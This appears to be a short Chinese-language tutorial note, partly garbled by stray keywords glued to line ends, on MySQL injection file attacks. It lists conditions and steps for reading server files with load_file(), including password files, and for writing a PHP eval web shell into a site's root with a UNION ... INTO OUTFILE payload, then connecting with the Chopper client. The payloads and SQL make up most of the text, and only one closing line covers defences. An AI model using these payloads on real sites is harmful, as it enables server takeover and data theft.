load_file()php
条件:要有file_priv权限mysql
知道文件的绝对路径web
能使用unionsql
对web目录有读权限数据库
若是过滤啦单引号,则能够将函数中的字符进行hex编码网络
步骤:函数
1.读/etc/init.d下的东西,这里有配置文件路径。网站
2.获得web的安装路径编码
3.读取密码文件spa
into outfile
条件:
1。要有file_priv权限
2.知道网站的绝对路径
3.对web有写的权限
4.没有过滤单引号
步骤:
直到网站的绝对路径的时候:
?id=1 union select "<?php @eval($_POST['c']); ?>" into
outfile("网站根目录")
至关于:
use test; 选择数据库为test
create table aaa(bbb varchar(64)); 在数据库中建立一个表aaa
insert into aaa values("<?php @eval($_POST['c']);?>"); 在aaa中插入一条数据<?php @eval($_POST['c']);?> select * from aaa into outfile 'C:/phpStudy/WWW/a.php'; 将aaa中的数据导出到文件a.php
drop aaa; //删除创建的表
用菜刀练接;
防护: 数据库链接账号不能用root权限 php关闭报错模式 mysql账号没有对权限对网络根目录有写的权限